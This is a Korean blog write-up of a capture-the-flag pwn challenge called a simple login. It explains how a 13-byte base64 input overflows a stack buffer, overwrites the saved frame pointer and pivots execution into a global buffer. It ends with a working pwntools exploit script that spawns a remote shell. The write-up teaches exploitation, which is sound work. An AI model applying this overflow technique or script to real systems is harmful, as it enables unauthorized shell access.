단순한 로그인

풀 이

2019.05.15 11:50

문제를 보면 정말 간단한 로그인 시스템입니다. base64를 입력받고 디코딩된 문자열의 길이를 검사, 그리고 디코딩된 문자의 md5가 지정된 값과 같은지 형식이 같은지를 확인합니다.

 

단순한 로직이지만 문제를 보면 이 문제는 정말 어찌할수 있는지 짐작을 할 수 없었습니다. 일단 첫 4byte는 0xdeadbeef이며 길이가 총 0xd이하니깐 브루트포싱으로 가능하지않을까 했습니다.

 

하지만 분석을 자세히하면 조금 이상한 부분이 있습니다.

 

조금! 이상한 부분

md5를 만드는 부분에서 사용하는 buf는 더미값을 가지고있는 로컬변수이기 때문입니다. 그러니 Authenticate에 의존하는게 아니라 이상한 부분을 참조하여 md5를 만드니깐 지정된 md5값을 구성할 수 없습니다.

 

중요한 부분은 바로 위 memcpy를 하는 부분입니다. 디컴파일로 확인하면 크게 문제가 없어보이지만 어셈단위로 보게되면 조금 이상한 부분을 발견할 수 있습니다.

 

취약점

memcpy가 수행되는 buf의 위치를 보면 ebp로부터 8byte(-0x14+0x0c)떨어진 위치에 저희가 입력한 base64 decoding된 문자열을 복사하게 됩니다. 저희가 입력할 수 있는 문자열의 길이는 최대 0xd글자이므로 SFP를 오염할 수 있습니다.

 

여기까지 접근을 했지만 stack의 위치는 랜덤하니 SFP로 지정할 수 없지만 저희가 입력한 문자열은 input에도 있으므로 이곳을 이용합니다.

 

# Write by p32481e

import base64
from pwn import *

context.update(arch='i386', os='linux')

def main():
    e = ELF('./pwn_login')
    r = remote('####', 9003)

    input_address = e.symbols['input']
    exec_binsh_address = 0x08049284
    sign_value = 0xdeadbeef

    payload = ''
    payload += p32(sign_value)
    payload += p32(exec_binsh_address)
    payload += p32(input_address)

    r.sendlineafter('Authenticate : ', base64.b64encode(payload, 'utf-8'))

    # P W N
    r.interactive()


if __name__ == '__main__':
    main()

 

'풀 이' 카테고리의 다른 글

단순한 로그인  (0) 2019.05.15
UUTCTF2019 Again find the flag  (0) 2019.05.05
드래곤  (0) 2019.04.30
SECCON2018/pwn/profile  (0) 2018.11.14
h3x0rCTF/pwn/libsteak  (0) 2018.11.04
hacklu2018/pwn/baby-kernel  (0) 2018.10.23